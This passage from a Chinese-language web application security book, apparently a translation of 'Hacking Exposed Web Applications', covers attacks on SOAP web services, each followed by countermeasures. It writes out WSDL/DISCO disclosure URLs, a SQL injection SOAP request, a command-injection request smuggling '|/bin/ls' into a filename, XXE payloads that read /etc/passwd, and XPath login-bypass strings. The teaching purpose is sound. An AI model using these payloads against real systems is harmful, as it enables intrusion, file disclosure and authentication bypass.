好了,背景资料已经足够。Web服务在现实的攻击下会遇到什么问题呢?本节将讨论我们在最近的咨询工作中遇到的实例。
DISCO和WSDL泄露
只要在服务请求后面附加特殊的参数,Microsoft Web服务(.asmx文件)可能交出DISCO和/或WSDL,例如,下面的URL将会连接到一个Web服务并且显示服务的人类可理解的界面:
http://www.victim.com/service.asmx
在这个URL后附加?disco或者?WSDL可以显示DISCO或WSDL信息,如:
http://www.victim.com/service.asmx?disco
以及:
http://www.victim.com/service.asmx?wsdl
图7-6展示了对Web服务的这种攻击的结果。这个示例中的数据是无害的(你可能预想一个服务希望公布自己的信息),但是我们在这类输出中看到过一些很不好的东西:SQL Server凭据、敏感文件和目录的路径,以及Web开发人员喜欢塞进配置文件中的所有好东西。WSDL信息非常广泛——我们已经讨论过,它列出了所有服务端点和数据类型。在开始恶意的输入攻击之前,黑客还能要求得更多吗?
图7-6 用?disco参数转储远程Web服务的DISCO信息
我们还应该注意,你可能通过审阅Web服务或者相关页面的HTML源代码,找到DISCO文件的确切文件名。我们在本章前面对DISCO的讨论中,看到了在HTML中实施的对DISCO文件位置的“提示”方法。
DISCO和WSDL泄露对策
假定你打算发布关于Web服务的一些信息,为了避免DISCO或者WSDL泄露成为严重的问题,最好是避免在XML中出现敏感或者私有的数据。对文件存在的目录访问权的严正也是个好主意。确保DISCO或WSDL信息不会落到入侵者手中的唯一办法是避免创建相关的.wsdl、.discomap、.disco和.xsd文件。如果有这些文件,那么就是为了发布而设计的!
注入攻击
大部分Web服务容易遭到的主要攻击是所有软件程序的通病:输入校验。实际上,我们发现Web服务甚至比“经典”的基于HTTP/HTML的Web应用更容易遭到攻击。这是因为大部分开发人员假定与Web服务通信的是一台计算机而不是人。例如,下面的SOAP请求说明了SQL注入是如何在Web服务调用中完成的。粗体的部分是用于accountNumber参数的SQL注入攻击:
<?xml version="1.0" encoding="utf-8"?> <soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http:/ /www.w3.org/2001/XMLSchema"> <soap:Body> <InjectMe xmlns="http://tempuri.org/"> <accountNumber>0' OR '1' = '1</accountNumber> </InjectMe> </soap:Body> </soap:Envelope>
接下来,我们将介绍一个通过SOAP服务执行远程命令的示例。这个特殊的服务用于将图像从一种格式转换为另一种,问题的根源在于这个服务从用户输入中取得文件名,将其直接放入命令行。我们在如下的请求中注入了一个简单的/bin/ls命令(粗体部分),获得服务器上的目录列表。当然,我们可以做更坏的事情。
POST /services/convert.php HTTP/1.0 Content-Length: 544 SoapAction: http://www.host.com/services/convert.php Host: www.host.com Content-Type: text/xml <?xml version="1.0" encoding="UTF-8" standalone="no"?><SOAPENV: Envelope xmlns:SOAPSDK1="http://www.w3.org/2001/XMLSchema" xmlns:SOAPSDK2="http://www.w3.org/2001/XMLSchema-instance" xmlns:SOAPSDK3="http://schemas.xmlsoap.org/soap/encoding/" xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/"><SOAPENV: Body><SOAPSDK4:convert xmlns:SOAPSDK4="http://www.host.com/ services/"><SOAPSDK1:source>|/bin/ls</ SOAPSDK1:source><SOAPSDK1:from>test</SOAPSDK1:from><SOAPSDK1:to>test</ SOAPSDK1:to></SOAPSDK4:convert></SOAP-ENV:Body></SOAP-ENV:Envelope>
下面是服务器的响应。注意粗体部分中ls命令的输出。
HTTP/1.1 200 OK Date: Tue, 18 May 2010 09:34:01 GMT Server: Apache/1.3.26 (Unix) mod_ssl/2.8.9 OpenSSL/0.9.6a ApacheJServ/ 1.1.2 PHP/4.2.2 X-Powered-By: PHP/4.2.2 Connection: close Content-Type: text/html <cTypeface:Bold>Warning</b>: fopen("cv/200301182241371.|/bin/ls", "w+") - No such file or directory in <cTypeface:Bold>/usr/home/www/services/ convert.php</b> on line <cTypeface:Bold>24</b><br /> <br /> <?xml version="1.0" encoding="ISO-8859-1"?><SOAP-ENV:Envelope SOAPENV: encodingStyle="http://schemas.xmlsoap.org/soap/encoding/" xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www. w3.org/2001/ XMLSchema-instance" xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/ encoding/" xmlns:si="http://soapinterop.org/xsd"><SOAP-ENV:Body><conve rtResponse><return xsi:type="xsd:string">class.smtp.php convert.php convertclient.php dns.php dns_rpc.php dnsclient.php index.php mailer.php </return></convertResponse></SOAP-ENV:Body></SOAP-ENV:Envelope>
注入攻击对策
Web服务的输入注入对策和经典的Web应用相同:输入/输出校验。我们在第6章中已经作了详细介绍。
外部实体攻击
XML允许文档或者文件通过外部实体的使用嵌入原始的XML文档中。实体和XML简写类似,允许一个标记与插入XML中的特定文本块或者其他数据关联。例如,实体的声明类似于下面这种形式:
<!DOCTYPE bookcollection [ <!ENTITY WS "Web Security"> <!ENTITY W "Wireless Security"> <!ENTITY NS "Network Security"> <!ENTITY HS "Host Security"> <!ENTITY PS "Physical Security"> ]>
现在,这些实体可以在XML文档中使用,引用时使用短的名称,在XML文档分发时完全展开:
<bookcollection> <title id="1">Web Hacking Exposed</title> <category>&WS;</category > <year>2010</year> <title id="2">Hacking Exposed</title> <category>&NS;</category> <year>2010</year> </bookcollection>
解析后的完整XML文档应该是这样的:
<bookcollection> <title id="1">Web Hacking Exposed</title> <category>Web Security</category > <year>2010</year> <title id="2">Hacking Exposed</title> <category>Network Security</category> <year>2010</year> </bookcollection>
可以看到,这是很好的简写,使得所有内容都很容易管理。实体也可以声明为外部实体,实体声明指向包含分发数据的远程位置,这正是漏洞所在。例如,考虑如下的外部实体引用:
<!DOCTYPE foo [<!ENTITY test SYSTEM "http://www.test.com/test.txt"><!ELEMENT foo ANY>]>
将这个外部实体引用注入到SOAP请求中,接收的SOAP服务器将读取http://www.test.com/test.txt处的文件,将test.txt的内容注入到SOAP请求。下面是一个SOAP请求的示例,我们已经注入了外部实体请求示例的内容(粗体):
<?xml version="1.0" encoding="UTF-8" standalone="no"?> <!DOCTYPE foo [<!ENTITY test SYSTEM "http://www.test.com /test.txt"><!ELEMENT foo ANY>]> <SOAP-ENV:Envelope xmlns:SOAPSDK1="http://www.w3.org/2001/XMLSchema" xmlns:SOAPSDK2="http://www.w3.org/2001/XMLSchema-instance" xmlns:SOAPSDK3="http://schemas.xmlsoap.org/soap/encoding/" xmlns:SOAPENV=" http://schemas.xmlsoap.org/soap/envelope/"> <SOAP-ENV:Body> <SOAPSDK4:login xmlns:SOAPSDK4="urn:MBWS-SoapServices"> <SOAPSDK1:userName></SOAPSDK1:userName> <SOAPSDK1:authenticationToken></ SOAPSDK1:authenticationToken> </SOAPSDK4:login> <foo>&test;</foo> </SOAP-ENV:Body> </SOAP-ENV:Envelope>
SOAP服务器返回以下响应:
HTTP/1.1 200 OK Content-Type: text/xml <?xml version="1.0"?> <!DOCTYPE test [ <!ENTITY test SYSTEM "http://www.test.com/test.txt";> <foo>... This is the content from the file test.txt ...</foo>
注意,SOAP服务器解析该请求,并且读取位于“http://www.test.com/test.txt”的内容。然后,服务器显示常规的SOAP输出和文件“test.txt”的内容。更恶意的攻击实例是通知SOAP服务器返回系统密码文件,这只需要修改指向的URL位置就可以做到。将外部实体改成“/etc/passwd”,如下所示,系统将返回密码文件:
<!DOCTYPE foo [<!ENTITY test SYSTEM "/etc/passwd"><!ELEMENT foo ANY>]>
使用这种攻击可以做到:
·在外部实体中包含相对路径,读取系统之外的文件。
·使用SOAP服务器作为网关,从其他Web服务器读取文件。
·发送恶意的文件名(如著名的Win32设备名CON、AUX、COM1)对SOAP服务器进行拒绝服务攻击。
·使用SOAP服务器对其他系统进行匿名端口扫描。
XML外部实体对策
如果你处理不可信的XML输入,应该禁止外部实体。为XML解析器指定一个遇到外部实体时就中止的处理程序,就可以很好地完成这一工作。
XPath和XQuery注入攻击
XPath是一种用于查询XML文档的语言(更多的信息参见本章结尾处的“参考与延伸阅读”小节),它的工作方式与SQL类似,使用的方法也几乎相同。例如,假设我们有一个XML文件,内容如下:
<?xml version="1.0" encoding="utf-8" ?> <Books> <Book> <Author>Joel Scambray, Stuart McClure, George Kurtz</Author> <Title>Hacking Exposed</Title> <Publisher>McGraw-Hill Professional</Publisher> </Book> <Book> <Author>Joel Scambray, Stuart McClure</Author> <Title> Hacking Exposed Windows 3</Title> <Publisher>McGraw-Hill Professional</Publisher> </Book> <Book> <Author>Joel Scambray, Vincent Liu, Caleb Sima</Author> <Title> Hacking Exposed Web Applications 3</Title> <Publisher>McGraw-Hill Professional</Publisher> </Book> </Books>
XPath查询使开发人员能够浏览和搜索文件中的每个节点,而不需要解析整个XML文件(这么做通常效率很低)。使用XPath查询,开发人员可以简单地返回所有匹配的节点。我们用前面的例子来讲解XPath查询的工作原理。
XML格式化为多个节点。在前一个示例中,Author、Title和Publisher是Book节点的元素。XPath中用/s引用节点。返回这个XML的所有Titles的查询是:/Books/Book/Title。XPath也支持通配符和简写,所以相同结果的等价请求可以简写为//Title。两个斜杠表明从节点的根开始,直到找到匹配Title的结果。请求Book节点下的所有元素的XPath查询将是/Books/Book/*。XPath有许多不同的特性和功能,但是现在我们有足够的背景知识,可以阐述攻击的构建方法。XPath注入的工作原理与SQL注入相同:如果XPath查询用用户提供的输入构建,就可以注入任意的命令。我们来看看Web服务内建的一个XPath查询示例。我们将用户输入转换为XPath查询的代码用粗体显示,这段代码用于确定用户名/密码与文件上设置是否匹配:
XPathNavigator nav = XmlDoc.CreateNavigator(); XPathExpression Xexpr = nav.Compile("string(//user[name/text()='"+ Username.Text+"' and password/text()='"+Password.Text+ "']/account/ text())"); String account=Convert.ToString(nav.Evaluate(Xexpr)); if (account=="") { // Login failed. } else { // Login succeeded. }
和SQL注入一样,攻击者现在只要找到一个方法来编造输入,使XPath结果始终返回真值,就可以获得登录的授权。我们用经典的SQL注入技术来实现——注入一个始终为“真”的表达式:
User: ' or 1=1 or ''=' Password: junk
现在XPath查询变成
//user[name/text()='' or 1=1 or ''='' and password/text()='junk'
这个查询将返回有效用户的完整列表并且验证攻击者(即使没有提供有效的用户名/密码)。其他一些常见的能够注入XPath查询的恶意载荷包括:
' or 1=1 or ''=' //* */* @/ count(//*)
使用XPath盲注(参见“参考与延伸阅读”中Amit Klein关于这一主题的杰出论文的链接)也可能提取整个XML数据库。XQuery本质上是XPath的扩展集,具有多种新特性,例如条件语句、程序流和内建及用户定义的函数。除了语法上的不同之外,前面讨论的所有XPath攻击都适用于XQuery。
XPath和XQuery注入对策
因为XPath注入与SQL注入非常相似,所以对策也几乎相同。参见第6章对这些对策的详细讨论。更多避免这些问题的附加信息也可以参见本章结尾处的“参考与延伸阅读”小节。